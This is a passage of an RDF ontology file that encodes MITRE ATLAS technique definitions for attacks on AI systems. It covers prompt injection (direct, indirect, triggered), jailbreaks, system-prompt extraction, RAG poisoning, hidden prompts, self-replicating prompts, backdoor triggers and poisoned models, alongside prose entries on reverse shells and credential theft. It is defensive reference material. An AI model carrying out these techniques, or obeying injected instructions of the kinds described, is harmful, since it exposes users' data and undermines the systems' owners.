    rdfs:label "AI Artifact Collection - ATLAS" ;
    d3f:attack-id "AML.T0035" ;
    d3f:definition """Adversaries may collect AI artifacts for [Exfiltration](/tactics/AML.TA0010) or for use in [AI Attack Staging](/tactics/AML.TA0001).
AI artifacts include models and datasets as well as other telemetry data produced when interacting with a model.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0035> ;
    rdfs:subClassOf d3f:ATLASCollectionTechnique ;
    skos:prefLabel "AI Artifact Collection" .

d3f:AML.T0036 a owl:Class ;
    rdfs:label "Data from Information Repositories - ATLAS" ;
    d3f:attack-id "AML.T0036" ;
    d3f:definition """Adversaries may leverage information repositories to mine valuable information.
Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.

Information stored in a repository may vary based on the specific instance or environment.
Specific common information repositories include SharePoint, Confluence, and enterprise databases such as SQL Server.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0036> ;
    rdfs:subClassOf d3f:ATLASCollectionTechnique ;
    skos:prefLabel "Data from Information Repositories" .

d3f:AML.T0037 a owl:Class ;
    rdfs:label "Data from Local System - ATLAS" ;
    d3f:attack-id "AML.T0037" ;
    d3f:definition """Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

This can include basic fingerprinting information and sensitive data such as ssh keys.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0037> ;
    rdfs:subClassOf d3f:ATLASCollectionTechnique ;
    skos:prefLabel "Data from Local System" .

d3f:AML.T0040 a owl:Class ;
    rdfs:label "AI Model Inference API Access - ATLAS" ;
    d3f:attack-id "AML.T0040" ;
    d3f:definition """Adversaries may gain access to a model via legitimate access to the inference API.
Inference API access can be a source of information to the adversary ([Discover AI Model Ontology](/techniques/AML.T0013), [Discover AI Model Family](/techniques/AML.T0014)), a means of staging the attack ([Verify Attack](/techniques/AML.T0042), [Craft Adversarial Data](/techniques/AML.T0043)), or for introducing data to the target system for Impact ([Evade AI Model](/techniques/AML.T0015), [Erode AI Model Integrity](/techniques/AML.T0031)).

Many systems rely on the same models provided via an inference API, which means they share the same vulnerabilities. This is especially true of foundation models which are prohibitively resource intensive to train. Adversaries may use their access to model APIs to identify vulnerabilities such as jailbreaks or hallucinations and then target applications that use the same models.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0040> ;
    rdfs:subClassOf d3f:ATLASAIModelAccessTechnique ;
    skos:prefLabel "AI Model Inference API Access" .

d3f:AML.T0041 a owl:Class ;
    rdfs:label "Physical Environment Access - ATLAS" ;
    d3f:attack-id "AML.T0041" ;
    d3f:definition """In addition to the attacks that take place purely in the digital domain, adversaries may also exploit the physical environment for their attacks.
If the model is interacting with data collected from the real world in some way, the adversary can influence the model through access to wherever the data is being collected.
By modifying the data in the collection process, the adversary can perform modified versions of attacks designed for digital access.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0041> ;
    rdfs:subClassOf d3f:ATLASAIModelAccessTechnique ;
    skos:prefLabel "Physical Environment Access" .

d3f:AML.T0042 a owl:Class ;
    rdfs:label "Verify Attack - ATLAS" ;
    d3f:attack-id "AML.T0042" ;
    d3f:definition """Adversaries can verify the efficacy of their attack via an inference API or access to an offline copy of the target model.
This gives the adversary confidence that their approach works and allows them to carry out the attack at a later time of their choosing.
The adversary may verify the attack once but use it against many edge devices running copies of the target model.
The adversary may verify their attack digitally, then deploy it in the [Physical Environment Access](/techniques/AML.T0041) at a later time.
Verifying the attack may be hard to detect since the adversary can use a minimal number of queries or an offline copy of the model.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0042> ;
    rdfs:subClassOf d3f:ATLASAIAttackStagingTechnique ;
    skos:prefLabel "Verify Attack" .

d3f:AML.T0043.000 a owl:Class ;
    rdfs:label "White-Box Optimization - ATLAS" ;
    d3f:attack-id "AML.T0043.000" ;
    d3f:definition """In White-Box Optimization, the adversary has full access to the target model and optimizes the adversarial example directly.
Adversarial examples trained in this manner are most effective against the target model.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0043.000> ;
    rdfs:subClassOf d3f:AML.T0043 ;
    skos:prefLabel "White-Box Optimization" .

d3f:AML.T0043.001 a owl:Class ;
    rdfs:label "Black-Box Optimization - ATLAS" ;
    d3f:attack-id "AML.T0043.001" ;
    d3f:definition """In Black-Box attacks, the adversary has black-box (i.e. [AI Model Inference API Access](/techniques/AML.T0040) via API access) access to the target model.
With black-box attacks, the adversary may be using an API that the victim is monitoring.
These attacks are generally less effective and require more inferences than [White-Box Optimization](/techniques/AML.T0043.000) attacks, but they require much less access.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0043.001> ;
    rdfs:subClassOf d3f:AML.T0043 ;
    skos:prefLabel "Black-Box Optimization" .

d3f:AML.T0043.002 a owl:Class ;
    rdfs:label "Black-Box Transfer - ATLAS" ;
    d3f:attack-id "AML.T0043.002" ;
    d3f:definition """In Black-Box Transfer attacks, the adversary uses one or more proxy models (trained via [Create Proxy AI Model](/techniques/AML.T0005) or [Train Proxy via Replication](/techniques/AML.T0005.001)) they have full access to and are representative of the target model.
The adversary uses [White-Box Optimization](/techniques/AML.T0043.000) on the proxy models to generate adversarial examples.
If the set of proxy models are close enough to the target model, the adversarial example should generalize from one to another.
This means that an attack that works for the proxy models will likely then work for the target model.
If the adversary has [AI Model Inference API Access](/techniques/AML.T0040), they may use [Verify Attack](/techniques/AML.T0042) to confirm the attack is working and incorporate that information into their training process.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0043.002> ;
    rdfs:subClassOf d3f:AML.T0043 ;
    skos:prefLabel "Black-Box Transfer" .

d3f:AML.T0043.003 a owl:Class ;
    rdfs:label "Manual Modification - ATLAS" ;
    d3f:attack-id "AML.T0043.003" ;
    d3f:definition """Adversaries may manually modify the input data to craft adversarial data.
They may use their knowledge of the target model to modify parts of the data they suspect helps the model in performing its task.
The adversary may use trial and error until they are able to verify they have a working adversarial input.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0043.003> ;
    rdfs:subClassOf d3f:AML.T0043 ;
    skos:prefLabel "Manual Modification" .

d3f:AML.T0043.004 a owl:Class ;
    rdfs:label "Insert Backdoor Trigger - ATLAS" ;
    d3f:attack-id "AML.T0043.004" ;
    d3f:definition """The adversary may add a perceptual trigger into inference data.
The trigger may be imperceptible or non-obvious to humans.
This technique is used in conjunction with [Poison AI Model](/techniques/AML.T0018.000) and allows the adversary to produce their desired effect in the target model.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0043.004> ;
    rdfs:subClassOf d3f:AML.T0043 ;
    skos:prefLabel "Insert Backdoor Trigger" .

d3f:AML.T0044 a owl:Class ;
    rdfs:label "Full AI Model Access - ATLAS" ;
    d3f:attack-id "AML.T0044" ;
    d3f:definition """Adversaries may gain full "white-box" access to an AI model.
This means the adversary has complete knowledge of the model architecture, its parameters, and class ontology.
They may exfiltrate the model to [Craft Adversarial Data](/techniques/AML.T0043) and [Verify Attack](/techniques/AML.T0042) in an offline where it is hard to detect their behavior.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0044> ;
    rdfs:subClassOf d3f:ATLASAIModelAccessTechnique ;
    skos:prefLabel "Full AI Model Access" .

d3f:AML.T0046 a owl:Class ;
    rdfs:label "Spamming AI System with Chaff Data - ATLAS" ;
    d3f:attack-id "AML.T0046" ;
    d3f:definition """Adversaries may spam the AI system with chaff data that causes increase in the number of detections.
This can cause analysts at the victim organization to waste time reviewing and correcting incorrect inferences.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0046> ;
    rdfs:subClassOf d3f:ATLASImpactTechnique ;
    skos:prefLabel "Spamming AI System with Chaff Data" .

d3f:AML.T0047 a owl:Class ;
    rdfs:label "AI-Enabled Product or Service - ATLAS" ;
    d3f:attack-id "AML.T0047" ;
    d3f:definition """Adversaries may use a product or service that uses artificial intelligence under the hood to gain access to the underlying AI model.
This type of indirect model access may reveal details of the AI model or its inferences in logs or metadata.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0047> ;
    rdfs:subClassOf d3f:ATLASAIModelAccessTechnique ;
    skos:prefLabel "AI-Enabled Product or Service" .

d3f:AML.T0048.000 a owl:Class ;
    rdfs:label "Financial Harm - ATLAS" ;
    d3f:attack-id "AML.T0048.000" ;
    d3f:definition "Financial harm involves the loss of wealth, property, or other monetary assets due to theft, fraud or forgery, or pressure to provide financial resources to the adversary." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0048.000> ;
    rdfs:subClassOf d3f:AML.T0048 ;
    skos:prefLabel "Financial Harm" .

d3f:AML.T0048.001 a owl:Class ;
    rdfs:label "Reputational Harm - ATLAS" ;
    d3f:attack-id "AML.T0048.001" ;
    d3f:definition "Reputational harm involves a degradation of public perception and trust in organizations.  Examples of reputation-harming incidents include scandals or false impersonations." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0048.001> ;
    rdfs:subClassOf d3f:AML.T0048 ;
    skos:prefLabel "Reputational Harm" .

d3f:AML.T0048.002 a owl:Class ;
    rdfs:label "Societal Harm - ATLAS" ;
    d3f:attack-id "AML.T0048.002" ;
    d3f:definition "Societal harms might generate harmful outcomes that reach either the general public or specific vulnerable groups such as the exposure of children to vulgar content." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0048.002> ;
    rdfs:subClassOf d3f:AML.T0048 ;
    skos:prefLabel "Societal Harm" .

d3f:AML.T0048.003 a owl:Class ;
    rdfs:label "User Harm - ATLAS" ;
    d3f:attack-id "AML.T0048.003" ;
    d3f:definition "User harms may encompass a variety of harm types including financial and reputational that are directed at or felt by individual victims of the attack rather than at the organization level." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0048.003> ;
    rdfs:subClassOf d3f:AML.T0048 ;
    skos:prefLabel "User Harm" .

d3f:AML.T0048.004 a owl:Class ;
    rdfs:label "AI Intellectual Property Theft - ATLAS" ;
    d3f:attack-id "AML.T0048.004" ;
    d3f:definition """Adversaries may exfiltrate AI artifacts to steal intellectual property and cause economic harm to the victim organization.

Proprietary training data is costly to collect and annotate and may be a target for [Exfiltration](/tactics/AML.TA0010) and theft.

AIaaS providers charge for use of their API.
An adversary who has stolen a model via [Exfiltration](/tactics/AML.TA0010) or via [Extract AI Model](/techniques/AML.T0024.002) now has unlimited use of that service without paying the owner of the intellectual property.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0048.004> ;
    rdfs:subClassOf d3f:AML.T0048 ;
    skos:prefLabel "AI Intellectual Property Theft" .

d3f:AML.T0049 a owl:Class ;
    rdfs:label "Exploit Public-Facing Application - ATLAS" ;
    d3f:attack-id "AML.T0049" ;
    d3f:definition "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0049> ;
    rdfs:subClassOf d3f:ATLASInitialAccessTechnique ;
    skos:prefLabel "Exploit Public-Facing Application" .

d3f:AML.T0050 a owl:Class ;
    rdfs:label "Command and Scripting Interpreter - ATLAS" ;
    d3f:attack-id "AML.T0050" ;
    d3f:definition """Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.

There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0050> ;
    rdfs:subClassOf d3f:ATLASExecutionTechnique ;
    skos:prefLabel "Command and Scripting Interpreter" .

d3f:AML.T0051.000 a owl:Class ;
    rdfs:label "Direct - ATLAS" ;
    d3f:attack-id "AML.T0051.000" ;
    d3f:definition "An adversary may inject prompts directly as a user of the LLM. This type of injection may be used by the adversary to gain a foothold in the system or to misuse the LLM itself, as for example to generate harmful content." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0051.000> ;
    rdfs:subClassOf d3f:AML.T0051 ;
    skos:prefLabel "Direct" .

d3f:AML.T0051.001 a owl:Class ;
    rdfs:label "Indirect - ATLAS" ;
    d3f:attack-id "AML.T0051.001" ;
    d3f:definition """An adversary may inject prompts indirectly via separate data channel ingested by the LLM such as include text or multimedia pulled from databases or websites.
These malicious prompts may be hidden or obfuscated from the user. This type of injection may be used by the adversary to gain a foothold in the system or to target an unwitting user of the system.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0051.001> ;
    rdfs:subClassOf d3f:AML.T0051 ;
    skos:prefLabel "Indirect" .

d3f:AML.T0051.002 a owl:Class ;
    rdfs:label "Triggered - ATLAS" ;
    d3f:attack-id "AML.T0051.002" ;
    d3f:definition "An adversary may trigger a prompt injection via a user action or event that occurs within the victim's environment. Triggered prompt injections often target AI agents, which can be activated by means the adversary identifies during [Discovery](/tactics/AML.TA0008) (See [Activation Triggers](/techniques/AML.T0084.002)). These malicious prompts may be hidden or obfuscated from the user and may already exist somewhere in the victim's environment from the adversary performing [Prompt Infiltration via Public-Facing Application](/techniques/AML.T0093). This type of injection may be used by the adversary to gain a foothold in the system or to target an unwitting user of the system." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0051.002> ;
    rdfs:subClassOf d3f:AML.T0051 ;
    skos:prefLabel "Triggered" .

d3f:AML.T0052.000 a owl:Class ;
    rdfs:label "Spearphishing via Social Engineering LLM - ATLAS" ;
    d3f:attack-id "AML.T0052.000" ;
    d3f:definition """Adversaries may turn LLMs into targeted social engineers.
LLMs are capable of interacting with users via text conversations.
They can be instructed by an adversary to seek sensitive information from a user and act as effective social engineers.
They can be targeted towards particular personas defined by the adversary.
This allows adversaries to scale spearphishing efforts and target individuals to reveal private information such as credentials to privileged systems.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0052.000> ;
    rdfs:subClassOf d3f:AML.T0052 ;
    skos:prefLabel "Spearphishing via Social Engineering LLM" .

d3f:AML.T0053 a owl:Class ;
    rdfs:label "AI Agent Tool Invocation - ATLAS" ;
    d3f:attack-id "AML.T0053" ;
    d3f:definition """Adversaries may use their access to an AI agent to invoke tools the agent has access to. LLMs are often connected to other services or resources via tools to increase their capabilities. Tools may include integrations with other applications, access to public or private data sources, and the ability to execute code.

This may allow adversaries to execute API calls to integrated applications or services, providing the adversary with increased privileges on the system. Adversaries may take advantage of connected data sources to retrieve sensitive information. They may also use an LLM integrated with a command or script interpreter to execute arbitrary instructions.

AI agents may be configured to have access to tools that are not directly accessible by users. Adversaries may abuse this to gain access to tools they otherwise wouldn't be able to use.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0053> ;
    rdfs:subClassOf d3f:ATLASExecutionTechnique,
        d3f:ATLASPrivilegeEscalationTechnique ;
    skos:prefLabel "AI Agent Tool Invocation" .

d3f:AML.T0054 a owl:Class ;
    rdfs:label "LLM Jailbreak - ATLAS" ;
    d3f:attack-id "AML.T0054" ;
    d3f:definition """An adversary may use a carefully crafted [LLM Prompt Injection](/techniques/AML.T0051) designed to place LLM in a state in which it will freely respond to any user input, bypassing any controls, restrictions, or guardrails placed on the LLM.
Once successfully jailbroken, the LLM can be used in unintended ways by the adversary.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0054> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique,
        d3f:ATLASPrivilegeEscalationTechnique ;
    skos:prefLabel "LLM Jailbreak" .

d3f:AML.T0055 a owl:Class ;
    rdfs:label "Unsecured Credentials - ATLAS" ;
    d3f:attack-id "AML.T0055" ;
    d3f:definition """Adversaries may search compromised systems to find and obtain insecurely stored credentials.
These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. bash history), environment variables, operating system, or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. private keys).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0055> ;
    rdfs:subClassOf d3f:ATLASCredentialAccessTechnique ;
    skos:prefLabel "Unsecured Credentials" .

d3f:AML.T0056 a owl:Class ;
    rdfs:label "Extract LLM System Prompt - ATLAS" ;
    d3f:attack-id "AML.T0056" ;
    d3f:definition """Adversaries may attempt to extract a large language model's (LLM) system prompt. This can be done via prompt injection to induce the model to reveal its own system prompt or may be extracted from a configuration file.

System prompts can be a portion of an AI provider's competitive advantage and are thus valuable intellectual property that may be targeted by adversaries.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0056> ;
    rdfs:subClassOf d3f:ATLASExfiltrationTechnique ;
    skos:prefLabel "Extract LLM System Prompt" .

d3f:AML.T0057 a owl:Class ;
    rdfs:label "LLM Data Leakage - ATLAS" ;
    d3f:attack-id "AML.T0057" ;
    d3f:definition """Adversaries may craft prompts that induce the LLM to leak sensitive information.
This can include private user data or proprietary information.
The leaked information may come from proprietary training data, data sources the LLM is connected to, or information from other users of the LLM.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0057> ;
    rdfs:subClassOf d3f:ATLASExfiltrationTechnique ;
    skos:prefLabel "LLM Data Leakage" .

d3f:AML.T0058 a owl:Class ;
    rdfs:label "Publish Poisoned Models - ATLAS" ;
    d3f:attack-id "AML.T0058" ;
    d3f:definition "Adversaries may publish a poisoned model to a public location such as a model registry or code repository. The poisoned model may be a novel model or a poisoned variant of an existing open-source model. This model may be introduced to a victim system via [AI Supply Chain Compromise](/techniques/AML.T0010)." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0058> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Publish Poisoned Models" .

d3f:AML.T0059 a owl:Class ;
    rdfs:label "Erode Dataset Integrity - ATLAS" ;
    d3f:attack-id "AML.T0059" ;
    d3f:definition "Adversaries may poison or manipulate portions of a dataset to reduce its usefulness, reduce trust, and cause users to waste resources correcting errors." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0059> ;
    rdfs:subClassOf d3f:ATLASImpactTechnique ;
    skos:prefLabel "Erode Dataset Integrity" .

d3f:AML.T0060 a owl:Class ;
    rdfs:label "Publish Hallucinated Entities - ATLAS" ;
    d3f:attack-id "AML.T0060" ;
    d3f:definition "Adversaries may create an entity they control, such as a software package, website, or email address to a source hallucinated by an LLM. The hallucinations may take the form of package names commands, URLs, company names, or email addresses that point the victim to the entity controlled by the adversary. When the victim interacts with the adversary-controlled entity, the attack can proceed." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0060> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Publish Hallucinated Entities" .

d3f:AML.T0061 a owl:Class ;
    rdfs:label "LLM Prompt Self-Replication - ATLAS" ;
    d3f:attack-id "AML.T0061" ;
    d3f:definition "An adversary may use a carefully crafted [LLM Prompt Injection](/techniques/AML.T0051) designed to cause the LLM to replicate the prompt as part of its output. This allows the prompt to propagate to other LLMs and persist on the system. The self-replicating prompt is typically paired with other malicious instructions (ex: [LLM Jailbreak](/techniques/AML.T0054), [LLM Data Leakage](/techniques/AML.T0057))." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0061> ;
    rdfs:subClassOf d3f:ATLASPersistenceTechnique ;
    skos:prefLabel "LLM Prompt Self-Replication" .

d3f:AML.T0062 a owl:Class ;
    rdfs:label "Discover LLM Hallucinations - ATLAS" ;
    d3f:attack-id "AML.T0062" ;
    d3f:definition """Adversaries may prompt large language models and identify hallucinated entities.
They may request software packages, commands, URLs, organization names, or e-mail addresses, and identify hallucinations with no connected real-world source. Discovered hallucinations provide the adversary with potential targets to [Publish Hallucinated Entities](/techniques/AML.T0060). Different LLMs have been shown to produce the same hallucinations, so the hallucinations exploited by an adversary may affect users of other LLMs.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0062> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Discover LLM Hallucinations" .

d3f:AML.T0063 a owl:Class ;
    rdfs:label "Discover AI Model Outputs - ATLAS" ;
    d3f:attack-id "AML.T0063" ;
    d3f:definition """Adversaries may discover model outputs, such as class scores, whose presence is not required for the system to function and are not intended for use by the end user. Model outputs may be found in logs or may be included in API responses.
Model outputs may enable the adversary to identify weaknesses in the model and develop attacks.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0063> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Discover AI Model Outputs" .

d3f:AML.T0064 a owl:Class ;
    rdfs:label "Gather RAG-Indexed Targets - ATLAS" ;
    d3f:attack-id "AML.T0064" ;
    d3f:definition """Adversaries may identify data sources used in retrieval augmented generation (RAG) systems for targeting purposes. By pinpointing these sources, attackers can focus on poisoning or otherwise manipulating the external data repositories the AI relies on.

RAG-indexed data may be identified in public documentation about the system, or by interacting with the system directly and observing any indications of or references to external data sources.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0064> ;
    rdfs:subClassOf d3f:ATLASReconnaissanceTechnique ;
    skos:prefLabel "Gather RAG-Indexed Targets" .

d3f:AML.T0065 a owl:Class ;
    rdfs:label "LLM Prompt Crafting - ATLAS" ;
    d3f:attack-id "AML.T0065" ;
    d3f:definition """Adversaries may use their acquired knowledge of the target generative AI system to craft prompts that bypass its defenses and allow malicious instructions to be executed.

The adversary may iterate on the prompt to ensure that it works as-intended consistently.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0065> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "LLM Prompt Crafting" .

d3f:AML.T0066 a owl:Class ;
    rdfs:label "Retrieval Content Crafting - ATLAS" ;
    d3f:attack-id "AML.T0066" ;
    d3f:definition """Adversaries may write content designed to be retrieved by user queries and influence a user of the system in some way. This abuses the trust the user has in the system.

The crafted content can be combined with a prompt injection. It can also stand alone in a separate document or email. The adversary must get the crafted content into the victim\\u0027s database, such as a vector database used in a retrieval augmented generation (RAG) system. This may be accomplished via cyber access, or by abusing the ingestion mechanisms common in RAG systems (see [RAG Poisoning](/techniques/AML.T0070)).

Large language models may be used as an assistant to aid an adversary in crafting content.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0066> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Retrieval Content Crafting" .

d3f:AML.T0067.000 a owl:Class ;
    rdfs:label "Citations - ATLAS" ;
    d3f:attack-id "AML.T0067.000" ;
    d3f:definition "Adversaries may manipulate the citations provided in an AI system's response, in order to make it appear trustworthy. Variants include citing a providing the wrong citation, making up a new citation, or providing the right citation but for adversary-provided data." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0067.000> ;
    rdfs:subClassOf d3f:AML.T0067 ;
    skos:prefLabel "Citations" .

d3f:AML.T0068 a owl:Class ;
    rdfs:label "LLM Prompt Obfuscation - ATLAS" ;
    d3f:attack-id "AML.T0068" ;
    d3f:definition """Adversaries may hide or otherwise obfuscate prompt injections or retrieval content from the user to avoid detection.

This may include modifying how the injection is rendered such as small text, text colored the same as the background, or hidden HTML elements.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0068> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique ;
    skos:prefLabel "LLM Prompt Obfuscation" .

d3f:AML.T0069.000 a owl:Class ;
    rdfs:label "Special Character Sets - ATLAS" ;
    d3f:attack-id "AML.T0069.000" ;
    d3f:definition "Adversaries may discover delimiters and special characters sets used by the large language model. For example, delimiters used in retrieval augmented generation applications to differentiate between context and user prompts. These can later be exploited to confuse or manipulate the large language model into misbehaving." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0069.000> ;
    rdfs:subClassOf d3f:AML.T0069 ;
    skos:prefLabel "Special Character Sets" .

d3f:AML.T0069.001 a owl:Class ;
    rdfs:label "System Instruction Keywords - ATLAS" ;
    d3f:attack-id "AML.T0069.001" ;
    d3f:definition "Adversaries may discover keywords that have special meaning to the large language model (LLM), such as function names or object names. These can later be exploited to confuse or manipulate the LLM into misbehaving and to make calls to plugins the LLM has access to." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0069.001> ;
    rdfs:subClassOf d3f:AML.T0069 ;
    skos:prefLabel "System Instruction Keywords" .

d3f:AML.T0069.002 a owl:Class ;
    rdfs:label "System Prompt - ATLAS" ;
    d3f:attack-id "AML.T0069.002" ;
    d3f:definition "Adversaries may discover a large language model's system instructions provided by the AI system builder to learn about the system's capabilities and circumvent its guardrails." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0069.002> ;
    rdfs:subClassOf d3f:AML.T0069 ;
    skos:prefLabel "System Prompt" .

d3f:AML.T0070 a owl:Class ;
    rdfs:label "RAG Poisoning - ATLAS" ;
    d3f:attack-id "AML.T0070" ;
    d3f:definition """Adversaries may inject malicious content into data indexed by a retrieval augmented generation (RAG) system to contaminate a future thread through RAG-based search results. This may be accomplished by placing manipulated documents in a location the RAG indexes (see [Gather RAG-Indexed Targets](/techniques/AML.T0064)).

The content may be targeted such that it would always surface as a search result for a specific user query. The adversary's content may include false or misleading information. It may also include prompt injections with malicious instructions, or false RAG entries.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0070> ;
    rdfs:subClassOf d3f:ATLASPersistenceTechnique ;
    skos:prefLabel "RAG Poisoning" .

d3f:AML.T0071 a owl:Class ;
    rdfs:label "False RAG Entry Injection - ATLAS" ;
    d3f:attack-id "AML.T0071" ;
    d3f:definition """Adversaries may introduce false entries into a victim's retrieval augmented generation (RAG) database. Content designed to be interpreted as a document by the large language model (LLM) used in the RAG system is included in a data source being ingested into the RAG database. When RAG entry including the false document is retrieved, the LLM is tricked into treating part of the retrieved content as a false RAG result.

By including a false RAG document inside of a regular RAG entry, it bypasses data monitoring tools. It also prevents the document from being deleted directly.

The adversary may use discovered system keywords to learn how to instruct a particular LLM to treat content as a RAG entry. They may be able to manipulate the injected entry's metadata including document title, author, and creation date.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0071> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique ;
    skos:prefLabel "False RAG Entry Injection" .

d3f:AML.T0072 a owl:Class ;
    rdfs:label "Reverse Shell - ATLAS" ;
    d3f:attack-id "AML.T0072" ;
    d3f:definition """Adversaries may utilize a reverse shell to communicate and control the victim system.

Typically, a user uses a client to connect to a remote machine which is listening for connections. With a reverse shell, the adversary is listening for incoming connections initiated from the victim system.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0072> ;
    rdfs:subClassOf d3f:ATLASCommandAndControlTechnique ;
    skos:prefLabel "Reverse Shell" .

d3f:AML.T0073 a owl:Class ;
    rdfs:label "Impersonation - ATLAS" ;
    d3f:attack-id "AML.T0073" ;
    d3f:definition """Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing](/techniques/AML.T0052), or [Spearphishing via Social Engineering LLM](/techniques/AML.T0052.000)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary's ultimate goals, possibly against multiple victims.

Adversaries may target resources that are part of the AI DevOps lifecycle, such as model repositories, container registries, and software registries.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0073> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique ;
    skos:prefLabel "Impersonation" .

d3f:AML.T0074 a owl:Class ;
    rdfs:label "Masquerading - ATLAS" ;
    d3f:attack-id "AML.T0074" ;
    d3f:definition "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0074> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique ;
    skos:prefLabel "Masquerading" .

d3f:AML.T0075 a owl:Class ;
    rdfs:label "Cloud Service Discovery - ATLAS" ;
    d3f:attack-id "AML.T0075" ;
    d3f:definition """An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.

